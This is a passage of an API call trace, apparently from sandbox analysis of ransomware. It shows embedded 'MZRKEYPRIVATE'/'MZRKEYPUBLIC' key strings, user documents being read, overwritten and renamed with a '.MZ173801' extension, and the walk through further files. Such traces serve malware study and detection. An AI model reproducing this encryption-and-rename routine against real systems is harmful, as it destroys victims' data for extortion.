sKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0171.499] GetCurrentThreadId () returned 0xab4 [0171.499] GetCurrentThreadId () returned 0xab4 [0171.499] GetCurrentThreadId () returned 0xab4 [0171.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.501] GetCurrentThreadId () returned 0xab4 [0171.501] GetCurrentThreadId () returned 0xab4 [0171.501] GetCurrentThreadId () returned 0xab4 [0171.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\NnWEZGpZkAAsmio3W.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\nnwezgpzkaasmio3w.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.501] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0171.501] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.501] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xb766 [0171.501] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.501] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0xb766, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0xb766, lpOverlapped=0x0) returned 1 [0171.503] CloseHandle (hObject=0x27c) returned 1 [0171.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\NnWEZGpZkAAsmio3W.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\nnwezgpzkaasmio3w.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.505] WriteFile (in: hFile=0x27c, lpBuffer=0x24d4e00*, nNumberOfBytesToWrite=0xb766, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d4e00*, lpNumberOfBytesWritten=0x19f48c*=0xb766, lpOverlapped=0x0) returned 1 [0171.507] CloseHandle (hObject=0x27c) returned 1 [0171.508] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\NnWEZGpZkAAsmio3W.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\nnwezgpzkaasmio3w.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\NnWEZGpZkAAsmio3W.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\nnwezgpzkaasmio3w.pptx.mz173801")) returned 1 [0171.509] GetCurrentThreadId () returned 0xab4 [0171.509] GetCurrentThreadId () returned 0xab4 [0171.509] GetCurrentThreadId () returned 0xab4 [0171.509] GetCurrentThreadId () returned 0xab4 [0171.509] GetCurrentThreadId () returned 0xab4 [0171.509] GetCurrentThreadId () returned 0xab4 [0171.509] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e4a520, ftCreationTime.dwHighDateTime=0x1d5efd5, ftLastAccessTime.dwLowDateTime=0x18be7a40, ftLastAccessTime.dwHighDateTime=0x1d5ef0c, ftLastWriteTime.dwLowDateTime=0x18be7a40, ftLastWriteTime.dwHighDateTime=0x1d5ef0c, nFileSizeHigh=0x0, nFileSizeLow=0xf03e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="nr eBEnfl46_3f.odt", cAlternateFileName="NREBEN~1.ODT")) returned 1 [0171.509] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.509] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.509] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6753310, ftCreationTime.dwHighDateTime=0x1d5ee0c, ftLastAccessTime.dwLowDateTime=0x4b8684d0, ftLastAccessTime.dwHighDateTime=0x1d5ef8a, ftLastWriteTime.dwLowDateTime=0x4b8684d0, ftLastWriteTime.dwHighDateTime=0x1d5ef8a, nFileSizeHigh=0x0, nFileSizeLow=0xdd04, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="U6w rqSTE2RE5fqSNr.ppt", cAlternateFileName="U6WRQS~1.PPT")) returned 1 [0171.509] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.509] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\U6w rqSTE2RE5fqSNr.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\u6w rqste2re5fqsnr.ppt"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6753310, ftCreationTime.dwHighDateTime=0x1d5ee0c, ftLastAccessTime.dwLowDateTime=0x4b8684d0, ftLastAccessTime.dwHighDateTime=0x1d5ef8a, ftLastWriteTime.dwLowDateTime=0x4b8684d0, ftLastWriteTime.dwHighDateTime=0x1d5ef8a, nFileSizeHigh=0x0, nFileSizeLow=0xdd04)) returned 1 [0171.509] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\U6w rqSTE2RE5fqSNr.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\u6w rqste2re5fqsnr.ppt")) returned 0x20 [0171.509] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\U6w rqSTE2RE5fqSNr.ppt", dwFileAttributes=0x80) returned 1 [0171.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOe